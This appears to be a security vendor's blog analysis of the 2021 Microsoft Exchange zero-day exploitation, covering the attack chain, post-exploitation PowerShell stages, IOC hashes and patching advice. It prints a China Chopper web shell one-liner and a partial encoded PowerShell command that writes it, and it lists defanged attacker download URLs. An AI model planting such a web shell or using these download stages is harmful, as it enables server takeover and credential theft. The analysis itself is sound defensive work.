Everything you need to know about the Microsoft Exchange Server Zero-Day Vulnerabilities

Estimated reading time: 7 minutes

On March 2, Microsoft announced a threat group, HAFNIUM, is actively exploiting four zero-day vulnerabilities in their Exchange Servers.  Microsoft has released out-of-band security updates (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065), enabling attackers to take access email accounts and run malware on the server without even knowing any valid account credentials.

Threat actors are exploiting a Zero-Day Server-Side Request Forgery (SSRF) vulnerability in Microsoft Exchange CVE-2021-26855. This allows the attacker to bypass the authentication and obtain remote code execution.

CVE-2021-27065 is a post-auth arbitrary file writing vulnerability. It creates a file with the suffix of .aspx and inserts code, and the attackers were taking advantage of this vulnerability. We suspect that attackers are uploading “china chopper web shell” to the compromised servers in most cases.

Attack chain

The exploitation of these exchange servers comes with indicators that compromise IOC, web shell, or aspx files. Once the exploitation happens, attackers install the web shell on the Exchange server in a specific location “C:inetpubwwwrootaspnet_clientdiscover.aspx” of exchange servers. We have seen multiple aspx files in this attack with a common name like aspnet_client.aspx, load.aspx, discover.aspx, supp0rt.aspx, acceptable.aspx, error_page.aspx, shell.aspx, logaaa.aspx, dict.aspx, etc., we found web shells in Offline Address Book (OAB) files.

The attackers can inject code into the aspx page of the exchange Offline Address Book; these pages are used for further exploitation. We have found below PowerShell Executing with suspicious parameters on the compromised Exchange server. This PowerShell code execution shows that file writing/modification is done by exploiting the vulnerability.

C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -W hidden -ep bypass -enc try  {$p=”C:\inetpub\wwwroot\aspnet_client\error.aspx”;

$FileStream=New-ObjectIO.FileStream@($p,[IO.FileMode]::Create); $FileStream.Write([Text.Encoding]::UTF8.GetBytes(‘ExternalUrl:http://f/<scriptlanguage=”JScript”runat=


Web shell Analysis

The Chinese chopper web shell is a small and one-liner script, which is observed in these attacks. The content of these files is kind of weird and incomplete. Its structure gets a kind of HTTP GET parameter argument calling eval or some words like unsafe, which a variety of compromised.


“http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request [“XOrSeMr3kgWUdFf6″],”unsafe”);}</script>”

Syntax of ExternalUrl field in OAB file like taking a variable from the HTTP request and executing its command line through the server. “http://f/” isn’t a proper syntax, and some random character parameters are seen; that is is Key use for authentication before executing codes. In this above case, “XOrSeMr3kgWUdFf6” is critical. In the OAB file, we can see the file modified date in the field WhenChanged.

Screenshot for aspx file-

Fig 1. ASPX file


Variation in the script we have seen in the web shell file, some of the static we can see like orange, ananas, and some of the encoding fromBase64 strings used in the file. Some complication is used to avoid the detection split the strings and encode with base64 strings.

Fig 2. List of ExternalUrl

Fig 3. List of paths


Post Exploitation activity

In the post-exploitation, we have seen multiple attack attempts launching to gain full access to the server; it involves various operator’s use of open-source tools and methods to implant backdoor or numerous malware.

Variant 1:

We have detected multiple PowerShell downloads on servers. The first PowerShell script is base64 encoded code which then downloads the next stage from http[:]//p.estonine[.]com/p?e. Then we try to download this next stage we found that the PowerShell script is downloaded.

Fig 4. First PowerShell script


The downloaded PowerShell script has to invoke expression with base64 encode, and Zlib compressed code for a heavy obfuscation technique.

Fig 5. Next stage PS

After decoding and decompressing the script found below code, the code uses different checks and gathers information like MAC address, AV, OS version, domain name, and user. The hand will then create the mutex “GlobalPSEXEC,” then checks for Administrator privileges for running the process. The ccc.log is designed for connecting to the CNC server.

Fig 6. PowerShell code stage 2


The script will try to contact the “http[:]//CDN.chatcdn[.]net”, this domain is found malicious for a long time; in the previous DLTMiner spreading, used it in PowerShell scripts. If running with admin privileges, download ”p?hig”, else “p?low”. It will then create Winnet scheduled task run-time intervals. If the server doesn’t get a response, then it will download update.png? File From IP “”.

Fig 7. PowerShell code stage 2

Again, the downloaded file is PowerShell Script and has heavily obfuscated data; after decoding the code, it will get a file around 2 MB size script and vast lines of code. In the code use of open-source code used to exploit through SMB, smb session setup request, smb session logoff requests, invoke-SMBExec, and some lateral movement techniques were observed.

Fig 8. PowerShell stage 3

Further investigation on the code, after decoding the base64 code, further investigation on the code found two executable files, which is similar to the Mimikatz payload. It is credential dumping open-source program used to obtains account login and password information. Credentials can then be used to perform lateral movement and access important/restricted information.

Variant 2:

Another PowerShell script we observed will try to download file download from the GitHub page. The extension for the file is .png, but it is PE executable file.

Fig 9. PowerShell Script variant 2

We are investigating more on such PowerShell script, and the infection chain will share some exciting things which taken leverage of Microsoft Exchange server vulnerabilities.



Webshell Hashes PE Hashes
0CD6F96A3460BE65C70C88A764F6EC56 3547D371C975779D6E0EDDF145936FB1
137E3A611C961EF33AAF49CCAA35E710 8AEA2AE91CC084731A08AA231E79A430
1A06924B507FA9A48E94D8AB819C7E42 9ff2613df0fc30afbc552f40360c37e7
1B18EC3D2B27CE39E83D602CB8BA84FE cad2ee0a2e085a319505c4c4b68b3d2b
1EAC1B6CE217C4BD31E93A3D913AF010 E438712E336982548B884CBFBFEE6C9E


  • http[:]//p.estonine[.]com/p?e
  • http[:]//cdn.chatcdn[.]net
  • http[:]//[.]png
  • https[:]//raw.githubusercontent[.]com/eluken890enlk/exmails/main



Quickheal Detection name

  • HTTP/CVE-2021-26855.MES!PT
  • HTTP/MSExchangeServer.SSRF!PT
  • CVE-2021-26855.Webshell


The threat actors exploiting these zero-day vulnerabilities against vulnerable Microsoft Exchange servers, multiple post exploiting techniques used by threat actors to gain access/take control of the Exchange server, so it is essential to patch with the latest security updates.

We, as Quick heal, added detection for this vulnerability in IPS and file-based detection to identify already compromised servers and the presence of other IOCs like web shells.



  • We strongly advise immediately updating all Microsoft Exchange servers to the latest available patched versions released by Microsoft.
  • To protect such attacks/exploits, it is recommended that have security product in the environment & updated on time.
  • The need to apply security patches on time from vendors will help to protect and secure the systems.
  • If the server is compromised already, then we need to clean up the server before patching.
  • Below mitigation tools shared by Microsoft can use this against the vulnerability-
  • https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/
  • https://github.com/microsoft/CSS-Exchange/tree/main/Security

Source link

Leave a Comment

Your email address will not be published. Required fields are marked *